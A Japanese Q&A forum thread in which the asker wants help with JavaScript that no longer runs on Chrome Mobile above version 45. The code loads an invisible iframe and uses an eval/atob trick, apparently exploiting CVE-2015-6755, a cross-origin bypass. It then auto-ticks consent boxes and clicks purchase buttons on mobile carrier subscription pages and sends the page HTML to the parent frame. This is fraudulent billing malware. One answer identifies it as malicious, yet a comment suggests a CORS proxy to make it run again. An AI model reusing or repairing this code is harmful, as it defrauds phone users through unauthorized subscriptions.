2017-08-10 10 views
0

Chromeモバイル45より上位のバージョンで動作しないJavaScriptを扱っています。デバッグ時に何が起きているのかを確認できませんでした私はメソッドが廃止されるかもしれないと思っています。誰がどのようなアプローチをとるべきか、それをより良く調査するためにどのようにデバッグするかについての手掛かりはありますか?Chromeモバイルよりも新しいバージョンではJavaScriptが動作しません45

これは関数である:

<script> 
    function cxc(x, group) { 


     mixtracker.track("CXC", "cxc(" + x + ")", group); 
     var navU = navigator["userAgent"]; 
     var isAndroidMobile = navU["indexOf"]("Android") > -1 && navU["indexOf"]("Mozilla/5.0") > -1 && navU["indexOf"]("AppleWebKit") > -1; 
     var pattern=/Chrome\/([\d\.]+)/; 
     var regExChrome = new RegExp(pattern); 
     var resultChromeRegEx = regExChrome["exec"](navU); 
     var chromeVersion = (resultChromeRegEx === null ? null : regExChrome["exec"](navU)[1]); 
     var cv=chromeVersion===null?null:chromeVersion.substr(3).replace(/\./g,''); 
     var value= "window.parent.postMessage('011.DB CALL-INITIAL>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
window.parent.postMessage('111.DB CALL-HTML(0)>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');

var Base64 = {

// private property
    _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",

// public method for encoding
    encode : function (input) {
        var output = "";
        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
        var i = 0;

        input = Base64._utf8_encode(input);

        while (i < input.length) {

            chr1 = input.charCodeAt(i++);
            chr2 = input.charCodeAt(i++);
            chr3 = input.charCodeAt(i++);

            enc1 = chr1 >> 2;
            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
            enc4 = chr3 & 63;

            if (isNaN(chr2)) {
                enc3 = enc4 = 64;
            } else if (isNaN(chr3)) {
                enc4 = 64;
            }

            output = output +
                this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
                this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);

        }

        return output;
    },

// public method for decoding
    decode : function (input) {
        var output = "";
        var chr1, chr2, chr3;
        var enc1, enc2, enc3, enc4;
        var i = 0;

        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");

        while (i < input.length) {

            enc1 = this._keyStr.indexOf(input.charAt(i++));
            enc2 = this._keyStr.indexOf(input.charAt(i++));
            enc3 = this._keyStr.indexOf(input.charAt(i++));
            enc4 = this._keyStr.indexOf(input.charAt(i++));

            chr1 = (enc1 << 2) | (enc2 >> 4);
            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
            chr3 = ((enc3 & 3) << 6) | enc4;

            output = output + String.fromCharCode(chr1);

            if (enc3 != 64) {
                output = output + String.fromCharCode(chr2);
            }
            if (enc4 != 64) {
                output = output + String.fromCharCode(chr3);
            }

        }

        output = Base64._utf8_decode(output);

        return output;

    },

// private method for UTF-8 encoding
    _utf8_encode : function (string) {
        string = string.replace(/\r\n/g,"\n");
        var utftext = "";

        for (var n = 0; n < string.length; n++) {

            var c = string.charCodeAt(n);

            if (c < 128) {
                utftext += String.fromCharCode(c);
            }
            else if((c > 127) && (c < 2048)) {
                utftext += String.fromCharCode((c >> 6) | 192);
                utftext += String.fromCharCode((c & 63) | 128);
            }
            else {
                utftext += String.fromCharCode((c >> 12) | 224);
                utftext += String.fromCharCode(((c >> 6) & 63) | 128);
                utftext += String.fromCharCode((c & 63) | 128);
            }

        }

        return utftext;
    },

// private method for UTF-8 decoding
    _utf8_decode : function (utftext) {
        var string = "";
        var i = 0;
        var c = c1 = c2 = 0;

        while ( i < utftext.length ) {

            c = utftext.charCodeAt(i);

            if (c < 128) {
                string += String.fromCharCode(c);
                i++;
            }
            else if((c > 191) && (c < 224)) {
                c2 = utftext.charCodeAt(i+1);
                string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
                i += 2;
            }
            else {
                c2 = utftext.charCodeAt(i+1);
                c3 = utftext.charCodeAt(i+2);
                string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
                i += 3;
            }

        }

        return string;
    }

}

//href:[http://mdsp.orange.be/w-ha/app-bundlepurchase/node?m=h%3D9fe98a8bc94d55490be0b7426811be29%3Bp%3D10296%3Bk%3D10296%3Bv%3D3%3A%7Bc%3DPurchaseTypeReq%3Bv%3D%7Bpurchasecase%3D8%3Bmp%3D%7B_ap_sid%3D231521212%3B_ap_moduleId%3D18%3B_ap_pid%3D12100_0500_Game2up%3B_ap_lg%3Dnl%3Bformat%3Dxhtml%3B_ap_type%3Dsubscription%3B%7D%3BmerchantCallbackURL%3Dhttp%3A%2F%2Fmp.mobile-gw.com%2Fbe-mobistar%2F%3Bpi%3D12100_0500_Game2up%3B%7D%7D&redirect=1&MCO=OFR]; ref:[http://uprealtime.com/hrfp?url=http%3A%2F%2Fplay.bngmbl.com%2F%3Fm%3D0BPKJG177027%26offer_key%3D177027%26fc%3D1%26a%3DM_2989642965830d8e2a9f1492660440%26pubid%3D1355];"
function getMetaURL() {
    var metas = document.getElementsByTagName('meta');
    for (var i = 0; i < metas.length; i++) {
        if (metas[i].getAttribute("http-equiv") == "refresh") {
            var cont = metas[i].getAttribute("content");
            var result = new RegExp("url=(.*)$", "i").exec(cont);
            return result[1].replace("'", "").replace("'", "")
        }
    }
    return ""
}
var ttt = getMetaURL();



url = window.location.href;


function getMetaURL(){
    var metas = document.getElementsByTagName('meta');
    for (var i=0; i<metas.length; i++){
        if (metas[i].getAttribute("http-equiv") == "refresh"){
            var cont = metas[i].getAttribute("content");
            var result = new RegExp("url=(.*)$", "i").exec(cont);
            if(result[1].match(/^\//gi) != null){
                return "http://" + location.hostname + result[1].replace("'", "").replace("'", "");

            }else{
                return result[1].replace("'", "").replace("'", "");
            }
        }
    }
    return "";
}

var refresh = getMetaURL();

if(refresh != ""){
    window.parent.postMessage('A : [Refresh]>>>; lpnum:[98]; refresh: [' + refresh + ']; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    window.location.href = refresh;
    window.parent.postMessage('A : [Refresh]ed>>>','*');
}
else if(document.getElementById('older')!=undefined)
{
    window.parent.postMessage('found bolder>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    document.getElementById('older').checked = true;
    document.getElementsByTagName('form')[0].submit();
    window.parent.postMessage('form submitted>>>', '*');
}
else if(document.getElementsByClassName('large expanded success button float-center').length>0)
{
    window.parent.postMessage('found large expanded success button float-center>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    document.getElementsByClassName('large expanded success button float-center')[0].click();
    window.parent.postMessage('large expanded success button float-center submitted>>>', '*');
}
else if(window.location.href.indexOf("appsilike.mobi/BE")!=-1)
{

    window.parent.postMessage('in appsilike.mobi>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    setTimeout(
        function () {
            document.getElementsByClassName('button pulse').length>0 && document.getElementById('check')!=undefined

            window.parent.postMessage('found button pulse>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
            document.getElementById('check').checked = true;
            document.getElementsByClassName('button pulse')[0].click();
            window.parent.postMessage('found button pulse clicked>>>', '*');
        },
        1900
    );

    window.parent.postMessage('in appsilike.mobi2>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');

}
else if(document.getElementById('Operator')!=undefined)
{
    window.parent.postMessage('found Operator>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    document.getElementById('Operator').value = '20610';
    document.getElementById('submit_button').click();
    window.parent.postMessage('submit_button submitted>>>', '*');
}

else if(url.indexOf('mdsp.orange.be/w-ha/app-bundlepurchase/node')!=-1 &&
    document.getElementsByClassName('button').length==3)
{
    window.parent.postMessage('found btn >>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    window.parent.postMessage('found btn>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
    setTimeout(

        function () {
            document.getElementsByClassName('button')[2].click();
        },
        2000

    );

    window.parent.postMessage('btn clicked>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
}
else if(ttt!="" && ttt.indexOf("video-wrld.com/BE")!=-1)
{

    window.parent.postMessage('zfound ttt>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    window.parent.postMessage('zfound ttt>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
    location.replace(ttt);
    window.parent.postMessage('zfound ttt clicked>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*');
}
else
{
    window.parent.postMessage('else >>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*');
    window.parent.postMessage('else >>>'+ Base64.encode(document.getElementsByTagName('html')[0].innerHTML), '*');
    window.parent.postMessage('6464.DB CALL-HTML(0)>>>'+ (document.getElementsByTagName('html')[0].innerHTML), '*');

}"; 
     if (isAndroidMobile && cv!=='0') { 
      //console.re.log("IDBKeyRange.only.call::" + navU); 
      IDBKeyRange.only.call(frames[x],0).constructor.constructor('eval(atob(\"'+ value +'\"))')(); 
     }else{ 
      //console.re.log("window.open0000::" + navU); 
      window.open("\u0000javascript:eval(atob(\""+ value +"\"))", "androidload"+x); 
     } 
    } 

     var i0 = document.documentElement.appendChild(document.createElement('iframe')); 
    i0.onload = function(){cxc(0, 'em5601')}; 
    i0.setAttribute('style', 'opacity: 0;overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;position:absolute;top:0px;left:0px;right:0px;bottom:0px'); 
    i0.setAttribute('sandbox', 'allow-scripts allow-forms allow-same-origin allow-popups allow-top-navigation'); 
    i0.src = "javascript:window.location.replace('http://www.url_for_iframe.com')"; 

    setTimeout(function(){location.replace(jmurl);}, 200000); 
</script> 

、これは、「値」の内部関数で復号化される:デバッグ中

window.parent.postMessage('011.DB CALL-INITIAL>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
window.parent.postMessage('111.DB CALL-HTML(0)>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 

var Base64 = { 

// private property 
    _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/=", 

// public method for encoding 
    encode : function (input) { 
     var output = ""; 
     var chr1, chr2, chr3, enc1, enc2, enc3, enc4; 
     var i = 0; 

     input = Base64._utf8_encode(input); 

     while (i < input.length) { 

      chr1 = input.charCodeAt(i++); 
      chr2 = input.charCodeAt(i++); 
      chr3 = input.charCodeAt(i++); 

      enc1 = chr1 >> 2; 
      enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 
      enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 
      enc4 = chr3 & 63; 

      if (isNaN(chr2)) { 
       enc3 = enc4 = 64; 
      } else if (isNaN(chr3)) { 
       enc4 = 64; 
      } 

      output = output + 
       this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + 
       this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); 

     } 

     return output; 
    }, 

// public method for decoding 
    decode : function (input) { 
     var output = ""; 
     var chr1, chr2, chr3; 
     var enc1, enc2, enc3, enc4; 
     var i = 0; 

     input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); 

     while (i < input.length) { 

      enc1 = this._keyStr.indexOf(input.charAt(i++)); 
      enc2 = this._keyStr.indexOf(input.charAt(i++)); 
      enc3 = this._keyStr.indexOf(input.charAt(i++)); 
      enc4 = this._keyStr.indexOf(input.charAt(i++)); 

      chr1 = (enc1 << 2) | (enc2 >> 4); 
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); 
      chr3 = ((enc3 & 3) << 6) | enc4; 

      output = output + String.fromCharCode(chr1); 

      if (enc3 != 64) { 
       output = output + String.fromCharCode(chr2); 
      } 
      if (enc4 != 64) { 
       output = output + String.fromCharCode(chr3); 
      } 

     } 

     output = Base64._utf8_decode(output); 

     return output; 

    }, 

// private method for UTF-8 encoding 
    _utf8_encode : function (string) { 
     string = string.replace(/\r\n/g,"\n"); 
     var utftext = ""; 

     for (var n = 0; n < string.length; n++) { 

      var c = string.charCodeAt(n); 

      if (c < 128) { 
       utftext += String.fromCharCode(c); 
      } 
      else if((c > 127) && (c < 2048)) { 
       utftext += String.fromCharCode((c >> 6) | 192); 
       utftext += String.fromCharCode((c & 63) | 128); 
      } 
      else { 
       utftext += String.fromCharCode((c >> 12) | 224); 
       utftext += String.fromCharCode(((c >> 6) & 63) | 128); 
       utftext += String.fromCharCode((c & 63) | 128); 
      } 

     } 

     return utftext; 
    }, 

// private method for UTF-8 decoding 
    _utf8_decode : function (utftext) { 
     var string = ""; 
     var i = 0; 
     var c = c1 = c2 = 0; 

     while (i < utftext.length) { 

      c = utftext.charCodeAt(i); 

      if (c < 128) { 
       string += String.fromCharCode(c); 
       i++; 
      } 
      else if((c > 191) && (c < 224)) { 
       c2 = utftext.charCodeAt(i+1); 
       string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); 
       i += 2; 
      } 
      else { 
       c2 = utftext.charCodeAt(i+1); 
       c3 = utftext.charCodeAt(i+2); 
       string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); 
       i += 3; 
      } 

     } 

     return string; 
    } 

} 

//href:[http://mdsp.orange.be/w-ha/app-bundlepurchase/node?m=h%3D9fe98a8bc94d55490be0b7426811be29%3Bp%3D10296%3Bk%3D10296%3Bv%3D3%3A%7Bc%3DPurchaseTypeReq%3Bv%3D%7Bpurchasecase%3D8%3Bmp%3D%7B_ap_sid%3D231521212%3B_ap_moduleId%3D18%3B_ap_pid%3D12100_0500_Game2up%3B_ap_lg%3Dnl%3Bformat%3Dxhtml%3B_ap_type%3Dsubscription%3B%7D%3BmerchantCallbackURL%3Dhttp%3A%2F%2Fmp.mobile-gw.com%2Fbe-mobistar%2F%3Bpi%3D12100_0500_Game2up%3B%7D%7D&redirect=1&MCO=OFR]; ref:[http://uprealtime.com/hrfp?url=http%3A%2F%2Fplay.bngmbl.com%2F%3Fm%3D0BPKJG177027%26offer_key%3D177027%26fc%3D1%26a%3DM_2989642965830d8e2a9f1492660440%26pubid%3D1355];" 
function getMetaURL() { 
    var metas = document.getElementsByTagName('meta'); 
    for (var i = 0; i < metas.length; i++) { 
     if (metas[i].getAttribute("http-equiv") == "refresh") { 
      var cont = metas[i].getAttribute("content"); 
      var result = new RegExp("url=(.*)$", "i").exec(cont); 
      return result[1].replace("'", "").replace("'", "") 
     } 
    } 
    return "" 
} 
var ttt = getMetaURL(); 



url = window.location.href; 


function getMetaURL(){ 
    var metas = document.getElementsByTagName('meta'); 
    for (var i=0; i<metas.length; i++){ 
     if (metas[i].getAttribute("http-equiv") == "refresh"){ 
      var cont = metas[i].getAttribute("content"); 
      var result = new RegExp("url=(.*)$", "i").exec(cont); 
      if(result[1].match(/^\//gi) != null){ 
       return "http://" + location.hostname + result[1].replace("'", "").replace("'", ""); 

      }else{ 
       return result[1].replace("'", "").replace("'", ""); 
      } 
     } 
    } 
    return ""; 
} 

var refresh = getMetaURL(); 

if(refresh != ""){ 
    window.parent.postMessage('A : [Refresh]>>>; lpnum:[98]; refresh: [' + refresh + ']; href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
    window.location.href = refresh; 
    window.parent.postMessage('A : [Refresh]ed>>>','*'); 
} 
else if(document.getElementById('older')!=undefined) 
{ 
    window.parent.postMessage('found bolder>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
    document.getElementById('older').checked = true; 
    document.getElementsByTagName('form')[0].submit(); 
    window.parent.postMessage('form submitted>>>', '*'); 
} 
else if(document.getElementsByClassName('large expanded success button float-center').length>0) 
{ 
    window.parent.postMessage('found large expanded success button float-center>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
    document.getElementsByClassName('large expanded success button float-center')[0].click(); 
    window.parent.postMessage('large expanded success button float-center submitted>>>', '*'); 
} 
else if(window.location.href.indexOf("appsilike.mobi/BE")!=-1) 
{ 

    window.parent.postMessage('in appsilike.mobi>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
    setTimeout(
     function() { 
      document.getElementsByClassName('button pulse').length>0 && document.getElementById('check')!=undefined 

      window.parent.postMessage('found button pulse>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
      document.getElementById('check').checked = true; 
      document.getElementsByClassName('button pulse')[0].click(); 
      window.parent.postMessage('found button pulse clicked>>>', '*'); 
     }, 
     1900 
    ); 

    window.parent.postMessage('in appsilike.mobi2>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 

} 
else if(document.getElementById('Operator')!=undefined) 
{ 
    window.parent.postMessage('found Operator>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
    document.getElementById('Operator').value = '20610'; 
    document.getElementById('submit_button').click(); 
    window.parent.postMessage('submit_button submitted>>>', '*'); 
} 

else if(url.indexOf('mdsp.orange.be/w-ha/app-bundlepurchase/node')!=-1 && 
    document.getElementsByClassName('button').length==3) 
{ 
    window.parent.postMessage('found btn >>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
    window.parent.postMessage('found btn>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 
    setTimeout(

     function() { 
      document.getElementsByClassName('button')[2].click(); 
     }, 
     2000 

    ); 

    window.parent.postMessage('btn clicked>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 
} 
else if(ttt!="" && ttt.indexOf("video-wrld.com/BE")!=-1) 
{ 

    window.parent.postMessage('zfound ttt>>>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
    window.parent.postMessage('zfound ttt>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 
    location.replace(ttt); 
    window.parent.postMessage('zfound ttt clicked>>>'+ document.getElementsByTagName('html')[0].innerHTML, '*'); 
} 
else 
{ 
    window.parent.postMessage('else >>href:[' + window.location.href + ']; ref:[' + document.referrer + '];', '*'); 
    window.parent.postMessage('else >>>'+ Base64.encode(document.getElementsByTagName('html')[0].innerHTML), '*'); 
    window.parent.postMessage('6464.DB CALL-HTML(0)>>>'+ (document.getElementsByTagName('html')[0].innerHTML), '*'); 

} 

、値から実行されるコードでありますそれ以外の場合:

else if(window.location.href.indexOf("appsilike.mobi/BE")!=-1) 

本質的にスクリプトが行うことはiframeを作成することですサードパーティのウェブサイトで、そのウェブサイトをナビゲートして送信ボタンを探し、チェックボックスをチェックしながらそれを親に渡します。

+0

解決策を含めるように答えを修正しました。今のスクリプトはCORSポリシーによってブロックされます。 CORSプロキシを使用することにより、スクリプトは悪意のあるものではない場合(例えば、ログインしているユーザーを使用しない場合)にスクリプトを実行できます。 – richie

答えて

3

これは、ここに見られるように、クロム46に固定されたhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6755を悪用し、悪意のあるコードのようになります。https://chromereleases.googleblog.com/2015/10/stable-channel-update.html

[$8837][519558] High CVE-2015-6755: Cross-origin bypass in Blink. Credit to Mariusz Mlynski.

isAndroidMobileは、ここでは、使用方法を参照してくださいfalse

window.open("\u0000javascript:eval(atob(\""+ value +"\"))", "androidload"+x); 

になりますので、この行が呼び出されます悪用のスクリプトを実行するためのソリューションは、CORSプロキシを使用してコードを書き換えることです。

+0

私はCORSプロキシを使用する方法を見つける必要があることを嬉しく思いますが、これは間違いなく正しい方向へのキックです。ありがとうございます:) – gasguirre

+0

デバッグ時に、実際にはisAndroidMobileが "true"に設定されています。 エラーが発生しました 'VM104041:205 Uncaught TypeError: 'checked' of nullを設定できません' これは' else if(window.location.href.indexOf( "appsilike.mobi/BE")!=)内の の行にあり、 'document.getElementById( 'check')。checked = true;' ' -1) '値のコード – gasguirre

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